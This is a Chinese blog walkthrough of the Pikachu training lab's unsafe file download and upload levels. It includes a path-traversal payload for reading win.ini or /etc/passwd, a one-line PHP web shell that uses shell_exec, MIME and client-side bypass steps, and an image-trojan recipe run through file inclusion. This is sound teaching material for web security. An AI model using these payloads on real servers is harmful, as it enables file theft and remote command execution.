不安全的文件下载与上传

目录

 

unsafe filedownload (不安全的文件下载)

官方简介

开始闯关

分析源码

unsafe fileupload (不安全的文件上传)

官方概述

测试流程

pikachu--unsafe fileupload--client check

源码分析

pikachu--Unsafe Fileupload --MIME type

传入不符合要求的文件

源码分析

pikachu --Unsafe fileupload -getimagesize

尝试制作一个图片马

源码分析


unsafe filedownload (不安全的文件下载)

官方简介

一些web网站会提供文件下载服务,一般是点击一个下载链接,会向后台发送一个下载请求,一般这个请求会包含一个需要下载的文件名,后台在收到请求后会开始执行下载代码,经文件名对应的文件返回到浏览器,从而完成下载。但如果后台在收到请求的文件名后,将其直接拼接进下载文件的路径中而不对其做安全判断的话,则可能会引发不安全的文件下载漏洞

此时如果攻击者提交的不是一个程序预期的文件名,而是一个精心构造的路径(../../../etc/passwd),则很有可能会直接将改指定的文件下载下来。从而导致后台敏感文件泄露

所以在设计文件下载功能时,如果下载的目标文件是由前端传进来的,则一定要对传进来的文件进行安全考虑, 所有与前端交互的数据都有可能被利用,不能轻易相信

开始闯关

点击球员名字会自动下载文件,右击然后点击新建标签页打开链接,可以看到具体的下载请求

这里是有文件名的

payload

../../../../../../Windows/win.ini
#####
../是为了跳转到根目录下

因为我的pikacu是搭在Windows上的所以是这个文件路径,如果是linux的话可以换成linux的系统文件路径

成功下载到系统文件

分析源码

直接拼接进路径且后续只对路径做了是否存在的判断。

unsafe fileupload (不安全的文件上传)

官方概述

文件上传在web中很常见,比如头像,照片啊等等。当用户点击上传后,后台会对上传的文件进行判断,查看是否是指定类型、后缀名、大小等等,然后将其按照设计的格式进行重命名后存储在指定的目录。如果说后台对上传的文件没有进行任何安全过滤或者判断条件不够严谨,则攻击者可能会上传一些恶意文件比如一句话木马,从而导致后台服务器被webshell。所以,在设计文件上传功能时,一定要对传进来的文件进行严格的安全考虑。

-验证文件类型、后缀名、大小;
--验证文件的上传方式;
--对文件进行一定复杂的重命名;
--不要暴露文件上传后的路径;
--等等...

测试流程

  • 对文件上传的地方按照要求上传文件,查看返回结果(路径,提示等)
  • 尝试上传不同类型的“恶意文件”,比如文本文件,分析结果
  • 查看hml源码,看是否通过js在前端做了限制,可以绕过
  • 尝试使用不同方式进行绕过:黑名单绕过/MIME类型绕过/目录0x00截断绕过等
  • 猜测或者结合其他漏洞(比如敏感信息泄露等)得到木马路径,连接测试

pikachu--unsafe fileupload--client check

上传图片成功

上传文件失败,我刚把文件选中还没点击上传就被弹窗了

查看html源码

将这个标签中的内容删除即可,意思和之前限制输入限制长度差不多

再次尝试上传

文件内容为:

<?php echo shell_exec($_GET['cmd']);?>

尝试进行利用

源码分析

 

这边是看不到有做任何过滤的

我这边的环境是有点问题,在本机上文件也能上传,文件也没有问题完全一样的但是访问不了(暂时我还解决不了),但是在虚拟机的win10里就完全没有问题(有知道的大佬可以稍微指导一下小弟)

pikachu--Unsafe Fileupload --MIME type

这边引入一个概念MIME我理解的就是MIME规定了很多种文件类型,比如说 声音(audio),图像,文本等,然后根据上传的文件类型会生成一些参数,然后会对这些参数进行验证,http头种有专门的一个参数content type =生成的参数,只有文件类型和connect type的参数匹配上才能成功上传,但是这个函数也有一个问题就是验证在前端,能够被修改也不是很安全

传入不符合要求的文件

使用burpsuit抓包

sh.php文件

正常图片文件

将content type 改为与图片文件一样的再次上传

其实这个实验我在本机上做了好多次就是不成功,就是文件也传上去了,里面的一句话木马也没问题,但是就是识别不了就是一顿报错。后来在虚拟机中尝试了一下,一次就成功了。怎么也想不通,后来对比了一下我本机和虚拟机唯一的区别就是用的phpstudy不同可能连带着的运行环境也有一些区别,我本机上2018版的可能是运行的服务有些滞后了吧。只能先这样理解,以后找到解决方法再回来修改

源码分析

比上一个稍好,但也有限只是仅仅对mime类型做了判断,而MIME又可以在前端被修改所以也近乎是裸奔状态

pikachu --Unsafe fileupload -getimagesize

getimagesize()函数,这个函数会对图片文件的个个方面进行验证,图像文件的大小并返回图像的尺寸以及文件类型及图片高度与宽度。

首先我们传入一个正确的图片抓包查看根之前有什么不同

然后传入错误的图片做对比

可以看到这里是具体的文件内容,那么可以推测出正确上传的图片那一片红色的乱码也是图片的具体内容.简单测试一下,无论是文件后缀还是connect-type只要有一个不对都不能顺利上传,所以我们只能传图片了

尝试制作一个图片马

首先进入木马和图片的文件目录下

copy /b test.png + muma.php cccc.png

然后上传这个图片马

成功上传,但是如果我们就这么去访问这个图片代码是不会被执行的

这个时候就需要结合文件包含漏洞去执行

../../unsafeupload/uploads/2021/05/21/39486060a778ac4d7a2083641808.jpg

成功执行

 

源码分析

这边防护是最好的首先是两个白名单$type是后缀名$mime是mime的白名单,然后传参的时候的一些其他函数大家可以去/pikachu/inc/uploadfunction.php这个文件中去查看,实在太长了我就不截图了

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值